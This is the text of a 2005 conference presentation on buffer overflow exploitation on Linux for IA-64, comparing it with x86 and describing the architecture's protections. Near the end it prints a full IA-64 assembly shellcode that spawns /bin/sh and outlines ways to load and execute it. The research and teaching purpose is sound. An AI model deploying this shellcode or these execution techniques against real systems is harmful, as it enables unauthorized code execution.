Buffer Overflow Issues on Linux for IA-64

Mathieu Blanc

CEA

Rstack Team

moutane@rstack.org

Libre Software Meeting 2005
Outline

1. Principles of Buffer Overflows
   - IA-32 architecture (x86)
   - Stack Overflows
   - Heap Overflows

2. Details of IA-64 architecture
   - Overview
   - Instruction format
   - Registers
   - Programming conventions

3. Enhanced security mechanisms
   - Memory pages permissions
   - Virtual memory organization
   - Returning from function calls
   - Example shellcode and loader

Mathieu Blanc
Buffer Overflow Issues on Linux for IA-64
Outline

1. **Principles of Buffer Overflows**
   - IA-32 architecture (x86)
     - Stack Overflows
     - Heap Overflows

2. **Details of IA-64 architecture**
   - Overview
   - Instruction format
   - Registers
   - Programming conventions

3. **Enhanced security mechanisms**
   - Memory pages permissions
   - Virtual memory organization
   - Returning from function calls
   - Example shellcode and loader
Overview

- x86 security has been thoroughly studied

**Characteristics**
- Variable size instructions
- Few registers
- Stack is used very much

**Weaknesses are well-known**
- No restriction on memory page execution
- Weak stack protection
Instructions and registers

- 8 general purpose registers (32 bits)
  - Data and address manipulation: EAX, EBX, ECX, EDX
  - Stack frames management: ESP, EBP
  - ESI, EDI

- Utility registers

- MMX and SSE registers
Process memory organization

- Stack (initially containing environment and arguments)
- Heap (memory allocated at runtime)
- Zero-initialised global variables
- Static data
- Read-only code segment
Assembly conventions

- Functions prologue
  - Save Base of stack pointer
  - New base = current stack pointer
  - `push %ebp`
  - `mov %esp,%ebp`

- Calling another function
  - Place arguments on the stack
  - Branch to new address
  - `push <argument>`
  - `call <address>`

- Function epilogue
  - Restore ebp and esp
  - Branch to next instruction
  - `leave`
  - `ret`
Outline

1. Principles of Buffer Overflows
   - IA-32 architecture (x86)
   - Stack Overflows
   - Heap Overflows

2. Details of IA-64 architecture
   - Overview
   - Instruction format
   - Registers
   - Programming conventions

3. Enhanced security mechanisms
   - Memory pages permissions
   - Virtual memory organization
   - Returning from function calls
   - Example shellcode and loader
Stack format

- Argument and environment strings
- Environment pointers
- Argument pointers ($char **argv$)
- Argument counter ($int argc$)
- Saved Instruction Pointer
- Saved Frame Pointer
- Function 1 local variables
- Function 2 arguments
- Saved Instruction Pointer
- Saved Frame Pointer
- Function 2 Local Variables . . .
Stack overflow

- Idea: exploit weaknesses in input size checking
- General principles
  - Construct payload with shellcode and return address
  - Overflow a buffer placed on the stack
  - Overwrite the saved instruction pointer
  - Execute shellcode
- Difficulties
  - The right return address
  - Good alignment
Outline

1. Principles of Buffer Overflows
   - IA-32 architecture (x86)
   - Stack Overflows
   - Heap Overflows

2. Details of IA-64 architecture
   - Overview
   - Instruction format
   - Registers
   - Programming conventions

3. Enhanced security mechanisms
   - Memory pages permissions
   - Virtual memory organization
   - Returning from function calls
   - Example shellcode and loader
Heap overflow

- Same idea as stack overflow, but in heap, bss or data segments
- Goal: overwrite function pointers, file names, ...
Outline

1. Principles of Buffer Overflows
   - IA-32 architecture (x86)
   - Stack Overflows
   - Heap Overflows

2. Details of IA-64 architecture
   - Overview
   - Instruction format
   - Registers
   - Programming conventions

3. Enhanced security mechanisms
   - Memory pages permissions
   - Virtual memory organization
   - Returning from function calls
   - Example shellcode and loader
IA-64 Overview

- Itanium Processor Family (IPF)
  - Itanium
  - Itanium²

- Very small market
  - Mainly used for High Performance Computing
  - Merely used on workstation
  - Not for PCs

- Characteristics
  - Fixed instruction size
  - Great number of registers
  - Parallel architecture

- Issues
  - Hard to produce optimized code
  - Slower than x86_64 for standard 32-bit code
  - Very expensive
IA-64 Architecture

- Explicit Parallel Instruction Computing (EPIC)
  - Assembly language contains independent parts
  - Code is parallelized at compile time
  - More work on the compiler
- Execution unit: 128-bit bundle
  - 16-bytes (4 times the x86) at once
  - Itanium²: Two bundles at each clock cycle
- Lots of registers
  - Static registers
  - Virtual registers
Outline

1. Principles of Buffer Overflows
   - IA-32 architecture (x86)
   - Stack Overflows
   - Heap Overflows

2. Details of IA-64 architecture
   - Overview
   - Instruction format
   - Registers
   - Programming conventions

3. Enhanced security mechanisms
   - Memory pages permissions
   - Virtual memory organization
   - Returning from function calls
   - Example shellcode and loader
128-bit bundle format

**Bundle overview**

<table>
<thead>
<tr>
<th>Instruction 1</th>
<th>Instruction 2</th>
<th>Instruction 3</th>
<th>Tlte</th>
</tr>
</thead>
<tbody>
<tr>
<td>127</td>
<td>87</td>
<td>46</td>
<td>5</td>
</tr>
<tr>
<td>86</td>
<td>45</td>
<td>4</td>
<td>4</td>
</tr>
<tr>
<td>3</td>
<td></td>
<td></td>
<td>0</td>
</tr>
</tbody>
</table>

- 3 instructions
  - 41-bit instruction
  - Parallel execution
  - Interpreted according to a template
- 5-bit template
  - Structure of the bundle
  - Specifies the hardware unit for each instruction
### Instruction Format

<table>
<thead>
<tr>
<th>Opcode</th>
<th>Operand 1</th>
<th>Operand 2</th>
<th>Operand 3</th>
<th>Pred.</th>
</tr>
</thead>
<tbody>
<tr>
<td>40</td>
<td>27 26</td>
<td>20 19</td>
<td>13 12</td>
<td>6 5 0</td>
</tr>
</tbody>
</table>

- 14-bit opcode
- 3 7-bit operands
  - Can address the 128 registers
  - Can be combined to form a 21-bit offset
- a 6-bit predicate (64 PR)
Outline

1. Principles of Buffer Overflows
   - IA-32 architecture (x86)
   - Stack Overflows
   - Heap Overflows

2. Details of IA-64 architecture
   - Overview
   - Instruction format
   - Registers
   - Programming conventions

3. Enhanced security mechanisms
   - Memory pages permissions
   - Virtual memory organization
   - Returning from function calls
   - Example shellcode and loader

Mathieu Blanc
Buffer Overflow Issues on Linux for IA-64
**Registers overview**

- **General registers: 128**
  - 32 fixed registers
  - 96 stacked registers
- **Float registers: 128**
  - 32 fixed
  - 96 rotating
- **64 predicate registers**
- **8 branch registers**
- **128 application registers**
Stacked and rotating registers

- **Stacked General Registers**
  - Used for
    - passing parameters
    - local variables
  - Allocated at beginning of procedures
  - `alloc rl = ar.pfs, i, l, o, r`

- **Rotating registers**
  - Used for fast loops
  - With a renaming template
Register Stack Engine (RSE)

- Performs the allocation of register frames
- In the Stacked General Registers
- Cooperates with the Backing Store (BS)
  - Dump registers to BS
  - Load registers from BS
  - according to functions needs
- BS managed directly by the CPU
  - Each process has two stacks: normal stack and register stack
  - Distinct and separate from heap
  - Controlled by guard pages
Guard page prevents overflowing between stacks
Outline

1. Principles of Buffer Overflows
   - IA-32 architecture (x86)
   - Stack Overflows
   - Heap Overflows

2. Details of IA-64 architecture
   - Overview
   - Instruction format
   - Registers
   - Programming conventions

3. Enhanced security mechanisms
   - Memory pages permissions
   - Virtual memory organization
   - Returning from function calls
   - Example shellcode and loader

Mathieu Blanc
Buffer Overflow Issues on Linux for IA-64
Programming conventions

- Registers conventions
  - GR12: Stack Pointer
  - BR0: Saved Instruction Pointer

- Functions prologue
  - Allocate new register stack frame (and save Previous Function State)
    - alloc r34=ar.pfs,6,4,0
  - Backup Stack pointer and Saved instruction pointer
    - mov r35=r12
    - mov r33=br0
Branching to another function
- Set branching register for indirect branches
- Branch, saving next instruction address in BR0
  br.call.sptk.many b0=<instruction address>

Function epilogue
- Restore Stack pointer and Saved instruction pointer
- Restore Previous Function State
  mov.i ar.pfs=r34
- Return from function
  br.ret.sptk.many b0
Outline

1. Principles of Buffer Overflows
   - IA-32 architecture (x86)
   - Stack Overflows
   - Heap Overflows

2. Details of IA-64 architecture
   - Overview
   - Instruction format
   - Registers
   - Programming conventions

3. Enhanced security mechanisms
   - Memory pages permissions
   - Virtual memory organization
   - Returning from function calls
   - Example shellcode and loader
Memory pages permissions

- Support for RWX permissions on pages
  - Non-X pages really not executable
  - Heap and Stack default to RW-
- But some programs need executable stack
  - Program-dependent
  - Indicated in ELF header
  - Or done with \texttt{mmap()} call
  - Same requirements on PaX-protected x86, NX bit...

- In brief...
  - Code injection still possible
  - Execution of payload forbidden
  - Unless stack is executable (some daemons need that)
Outline

1. Principles of Buffer Overflows
   - IA-32 architecture (x86)
   - Stack Overflows
   - Heap Overflows

2. Details of IA-64 architecture
   - Overview
   - Instruction format
   - Registers
   - Programming conventions

3. Enhanced security mechanisms
   - Memory pages permissions
   - Virtual memory organization
   - Returning from function calls
   - Example shellcode and loader
Virtual memory organization

Details

- **0x2000 XXXX XXXX XXXX**
  - Libraries segment
  - Contains X and non-X pages

- **0x4000 XXXX XXXX XXXX**
  - Code segment
  - R-X pages only

- **0x6000 XXXX XXXX XXXX**
  - Data segment
  - Contains .data, .bss, stack and heap
  - Normally RW- pages only

- **0xA000 XXXX XXXX XXXX**
  - Kernel pages
  - No access permissions from user space
Virtual memory organization

Example

```
00000000-00004000 r--p 00000000 00:00 0
2000000000000000-200000000002c000 r-xp 00000000 08:13 163587 /lib/ld-2.3.2.so
200000000002c000-2000000000030000 rw-p 200000000002c000 00:00 0
2000000000038000-2000000000040000 rw-p 00028000 08:13 163587 /lib/ld-2.3.2.so
2000000000040000-2000000000050000 r-xp 00000000 08:13 556099 /lib/tls/libc-2.3.2.so
2000000000058000-2000000000060000 rw-p 00028000 08:13 556099 /lib/tls/libc-2.3.2.so
2000000000060000-20000000000a0000 rw-p 2000000000028400 00:00 0
20000000000a8000-20000000000be000 r-xp 00000000 08:13 556119 /lib/tls/libnss\_files-2.3.2.so
20000000000be000-20000000000cc000 ---p 00014000 08:13 556119 /lib/tls/libnss\_files-2.3.2.so
20000000000cc000-20000000000dd000 rw-p 00010000 08:13 556119 /lib/tls/libnss\_files-2.3.2.so
20000000000dd000-20000000000ffff000 rw-p 200000000002cc000 00:00 0
4000000000000000-4000000000010000 r-xp 00000000 08:13 441518 /sbin/syslogd
6000000000000000-6000000000010000 rw-p 00000000 08:13 441518 /sbin/syslogd

6000000000010000-6000000000034000 rw-p 6000000000010000 00:00 0
6000000000034000-6000000000078000 rw-p 6000000000078000 00:00 0
6000000000078000-6000000000088000 rw-p 6000000000088000 00:00 0
```

Mathieu Blanc

Buffer Overflow Issues on Linux for IA-64
Virtual memory organization

Consequences

- Memory addresses always contain a null byte
- And can be quite big
- Makes some kinds of attack harder (return into libc, heap overflow)
Mathieu Blanc

Buffer Overflow Issues on Linux for IA-64
Returning from function calls
Comparison with x86

- **x86**: Saved Instruction Pointer is on the stack
  - Vulnerable to stack overflows
  - Possible to redirect code execution

- **IA-64**: Saved Instruction Pointer placed in a register
  - Saved in a stacked register
  - Flushed to memory if needed
  - Managed by the Register Stack Engine
  - Placed in Backing Store
  - Backing Store has a separate memory region
Returning from function calls

Consequences

- **Saved Instruction Pointers**
  - Placed in the Backing Store
  - Flushed and loaded by the CPU
  - Can not be overwritten directly

- Not vulnerable to stack overflows
Outline

1. Principles of Buffer Overflows
   - IA-32 architecture (x86)
   - Stack Overflows
   - Heap Overflows

2. Details of IA-64 architecture
   - Overview
   - Instruction format
   - Registers
   - Programming conventions

3. Enhanced security mechanisms
   - Memory pages permissions
   - Virtual memory organization
   - Returning from function calls
   - Example shellcode and loader

Mathieu Blanc
Buffer Overflow Issues on Linux for IA-64
Shellcode overview

- 3 steps
  - Build one instruction bundle on the stack
  - Branch to constructed bundle
  - Set syscall number and break

- Things to check
  - No zeroes in the shellcode
  - Use allocated registers for argument passing
Exemple shellcode

```c
// [MLX]
alloc r34 = ar.pfs, 0, 3, 3, 0
movl r15 = 0xffffffffffffffff
;

// [MLX]
xor r37 = r37, r37    // r37 = 0
movl r18 = 0xf7fffffffbdedef6b    // r18 = 0xffffffffffffffff-bundle[1]
;

// [MLX]
sub r15 = r15, r18    // r15=bundle[1]=0x080000000421094
movl r14 = 0xff68732f6e69622f    // r14 = "/bin/sh"+0xff
;

// [MII]
xor r36 = r36, r36    // used to avoid 0x00
dep r12 = r37, r12, 0, 8    // fix stack ptr
dep r14 = r37, r14, 56, 8    // r14 = "/bin/sh\0"
;
```

Mathieu Blanc | Buffer Overflow Issues on Linux for IA-64
Example shellcode (continued)

// [MII]
adds r35 = -40, r12
adds r36 = -32, r12
adds r19 = -16, r12
;;

// [MLX]
st8 [r36] = r35, 16 // [r36] = address("/bin/sh\0")
movl r17 = 0x48f017994897c001 // r17 = bundle[0]
;;

// [MII]
st8 [r35] = r14, 1 // [r35] = "/bin/sh\0"
mov b6 = r19
cmp.eq p2, p8 = r37, r37
;;

// [MLX]
st8 [r36] = r17, 8 // [r36+16] = bundle[0]
movl r17 = 0x1212121212121212 // used to avoid 0x00
;;

// [MIB]
adds r35 = -1, r35 // fix r35 changed in previous [MII]
(p2) br.cond.spnt.few b6
;;
The constructed bundle

/*
 * the constructed bundle
 *
 * MII
 * st8 [r36] = r37, -8 // args[1] = NULL
 * adds r15 = 1033, r37 // syscall number
 * break.i 0x100000
 *;
 *
 * encoding is:
 * bundle[0] = 0x48f017994897c001
 * bundle[1] = 0x080000000421094
 */
Load and execution of the shellcode

1. `mmap()` RWX the region where the shellcode will be loaded
2. Copy the shellcode in memory
3. Execute the shellcode
   - Direct execution of the shellcode address
   - Modify BR0 to point to the shellcode
   - Write address to the Backing Store
   - Modify a function pointer
Buffer overflow exploitation made hard...

- Major x86 vulnerabilities not exploitable on IA-64
- Saved Instruction Pointer not vulnerable to overflows
- Memory permissions are enforced by default
- Memory addresses contain null bytes
But still there are opportunities...

- Heap overflows still exploitable
  - With an executable stack/heap
  - and the use of function pointers
- These conditions can be found
  - When threads are used
  - With Object-Oriented languages
- Format strings?
And other techniques...

- Some less x86 typical techniques may be used
  - SMP race conditions (like the recent HyperThreading problem)
  - Stress under huge memory allocation
  - ...
I wish to thank

- Bull
  - for their assistance
  - for lending me one of their machine
- Philippe Biondi
  - for his preliminary work on an IA-64 version of shellforge
- Gaël Delalleau
  - for his ideas about the memory management
We Proudly R3wt